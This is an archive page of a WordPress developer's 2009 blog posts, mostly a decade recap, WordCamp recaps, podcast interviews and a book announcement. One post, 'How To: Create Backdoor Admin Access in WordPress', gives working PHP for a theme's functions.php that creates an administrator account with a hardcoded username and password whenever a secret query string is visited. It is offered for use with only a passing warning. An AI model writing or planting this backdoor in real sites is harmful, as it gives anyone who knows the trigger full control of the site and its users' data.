Archives for 2009

End of a Decade

So here we are at the end of another decade. It seems appropriate to write about major milestones in my life during the last decade so here goes:

  • Served in the United States Marine Corps (1999-2003)
  • Adopted my two best friends: Lecter and Clarice (2002)
  • Lost my Mom to cancer (2002)
  • Stationed in Kuwait/Iraq for Operation Iraqi Freedom (2003)
  • Promoted to Sergeant (2003)
  • Got married/divorced (2002-2005)
  • Worked my way up to become IT Director at Batteries.com (2003-2008)
  • Attended the Super Bowl w/ my Dad and watched the Colts win! (2006)
  • Sold my house and moved to New Jersey (2008)
  • Started my own Web Development Company (2008)
  • Met the girl of my dreams! (2008)
  • My Niece was born: Indiana Brooke Dundas (2008)
  • Wrote Professional WordPress (2009)

The thing about life is it’s not always a rose garden, but that’s what makes us who we are. Here’s to a great decade ahead!

How To: Create Backdoor Admin Access in WordPress

Have you ever wanted to create an easy backdoor way to auto-create an administrator account in WordPress? The below code snippet does just that! Simply place the code in your themes functions.php flie and upload to your web server:

<?php
add_action('wp_head', 'my_backdoor');

function my_backdoor() {
	If ($_GET['backdoor'] == 'go') {
		require('wp-includes/registration.php');
		If (!username_exists('brad')) {
			$user_id = wp_create_user('brad', 'pa55w0rd');
			$user = new WP_User($user_id);
			$user->set_role('administrator');
		}
	}
}
?>

To activate this code simply visit http://example.com?backdoor=go

When triggered the code will create a new administrator account with a username brad and password of pa55w0rd. The function also verifies the user account doesn’t exist first before creating it.

Keep in mind using this code is considered a security risk as anyone could easily execute this function by calling the correct querystring. Also don’t be evil, only use this code for good!

My Interview with Andy Peatling of BuddyPress

I had the pleasure of interviewing Andy Peatling, the founding developer of BuddyPress, on the SitePoint Podcast last week.

Brad Williams and Andy PeatlingAndy and I discussed many different topics including current BuddPress features, upcoming features, release of the new BP default theme, importing data, and much more! Andy is a great guy and was a lot of fun to have on the show. I even found out what Actor would play Andy if BuddyPress were made into a movie! Listen to the episode to find out!

This is the third interview I’ve done with prominent figures in the Open Source web space. Be sure to catch my interview with Roy Rubin of Magento and Matt Mullenweg of WordPress.

WordCamp NYC 2009 Recap

I just returned from an awesome weekend at WordCamp NYC 2009! This years event was massive, with 8 tracks of WordPress related sessions and over 700 attendees, all gathered for the love of one software package: WordPress
wcnyc
This year I attended with Matt Martz, Jeff Chandler, Travis Ballard, and the entire WebDevStudios crew. We had an awesome time bouncing around the various sessions.

I gave a presentation on WordPress Security during the event. My presentation was so well received that I was voted to present during the ultra-fast 5 minute ignite round on day two. WebDevStudios also entered two plugins into the plugin/theme competition: WP Manage Plugins and BuddyPress Registration Options. Although we didn’t win the competition our plugins were very well received and we received plenty of compliments. In fact Mark Jaquith stated our plugin was the only one in the competition with no security holes, which equals a win in my book!

The best part of any WordCamp is networking and finally getting to meet people that I’ve talked to online but never actually met. It was great seeing some familiar faces like Lisa Sabin-Wilson and her husband Chris, Mark Jaquith, Matt Mullenweg, Andy Peatling, Aaron Brazell, Jeremy Clarke, Jane Wells, Steve Bruner, Keith Casey, Margaret Roach, and Ken Smith. I also finally got to meet Brian Gardner and Craig Tuller of StudioPress, Jonathan Dingman, Andrea and Ron, Dan Milward, Shane F, Syed Balkhi of WPBeginner.com, Todd and Darin from Inmotion hosting, Beau Lebens, Daryl Koopersmith, Elisha Dang, and Daisy Olsen. If we met and I missed you on the list please ping me on Twitter. I talked with so many people it was tough keeping it all straight!

WordCamp NYC was the best WordCamp I’ve attended yet! Props to Jane and Steve for organizing, and all of the volunteers who helped pull it off. This is the fourth and final WordCamp I’ll be attending this year, but I’m already looking forward to more WordCamps next year! I hope to see you there!

Happy Halloween!

Happy Halloween 2009!

photo

Professional WordPress – New Book Coming Soon!

I’m extremely excited to announce a new book I am co-authoring: Professional WordPress.

WROX LogoProfessional WordPress will be a WROX publication, which is the technical branch of Wiley books. I have the honor of writing this book with David Damstra and Hal Stern, both of which have an extensive background working with WordPress.

We have officially crossed the 50% mark writing this new book so I thought it was a perfect time to officially announce it! Professional WordPress is a more advanced book detailing everything WordPress has to offer. There are WordPress books on the scene currently, and even more being written, but Professional WordPress is unlike any books on the market. We take a more advanced look at WordPress, from breaking down functions and classes, to exploring in depth each WordPress API, this book is for anyone wanting to take the next step in WordPress website development.

Below is our official book description:
———————-
As the most popular blogging and content management platform available today, WordPress is a powerful tool. This exciting book goes beyond the basics and delves into the heart of the WordPress system, offering overviews of the functional aspects of WordPress as well as plugin and theme development.

What is covered in this book?
• Detailed review of WordPress Functionality and Codebase
• The Loop and Data Management
• Plugin Development
• Theme Development
• Content Aggregation, SEO and User Experience
• Statistics, Scalability, Security and Spam
• Using WordPress as a CMS
• Using WordPress in the Enterprise
• Moving your existing site to WordPress

This book takes an “internals” view of WordPress and drives the fundamentals of how things work to explain use cases and extensions to the core platform. Including hands on examples, and real world tips, this exhaustive book is a must-have for Web and PHP professionals developing on the WordPress platform.
———————

You can follow our progress and any Professional WordPress news with the hash tag #prowp. Now that we have officially announced our book we plan on using that hash tag more often. You can also pre-order your copy of Professional WordPress starting today! The book is currently planned for a March 2010 release date.

Now to finish the final 50%!

My Interview with Matt Mullenweg of WordPress

I had the pleasure of interviewing Matt Mullenweg, the founding developer of WordPress, for the SitePoint podcast recently.
Matt Mullenweg Photo
Matt and I covered a range of topics including WordPress and MU, contributing to WordPress, commercial plugins, what to expect in the future of WordPress, and how to get involved with WordPress.

Matt is great to interview and we had a lot of fun. I even found out what actor would play Matt if a WordPress movie is ever created. Can you guess who? Listen to the episode to find out!

This is the first in a series of one-on-one interviews we’ll be conducting for the SitePoint Podcast. I’m going to focus on interviewing high profile figures in the open source scene. Stay tuned for much more interview goodness!

WordPress Security from WordCamp Montreal

Over the weekend I had the pleasure of attending WordCamp Montreal. I gave a presentation on WordPress Security at the event. You can view my slideshow presentation below:

On My Way to WordCamp Montreal

I’m writing this blog post from an Amtrak train on my way to Montreal, Quebec for WordCamp Montreal!
amtrak-to-canada
As we cruise along the train tracks I’m working on the final touches to my WordPress Security presentation for the event. Taking the train really is the way to go. The ride is much longer (12 hours total from NJ), but this gives me plenty of time to work on some projects. It’s also much cheaper than flying and you get to enjoy the amazing scenary during the trip!

Amtrak doesn’t provide wireless internet onboard, but I’m equipped with an AT&T Air card so I’m able to get online. The train does provide power strips at all of the seats which is a lifesaver.

We should arrive in Montreal about 8pm EDT and ready to hit the city!

I’m Speaking at WordCamp Montreal!

Next stop on my WordCamp Tour is WordCamp Montreal! I will be giving a presentation on WordPress Security at the event.
WordCamp MontrealMy presentation will cover how to keep your WordPress powered website secure from hackers and exploits. I’ll show examples of hacked sites, share tips and plugins for keeping WordPress secure, and talk about my experiences with WordPress and security overall.

WordCamp Montreal will take place in Montreal, Quebec on July 11-12.

I’m taking the scenic train ride from NYC to Montreal (12 hours!) and also plan on attending the Jazz Festival while in town. WordCamps are awesome and so is traveling so I’m really looking forward to this event, aye!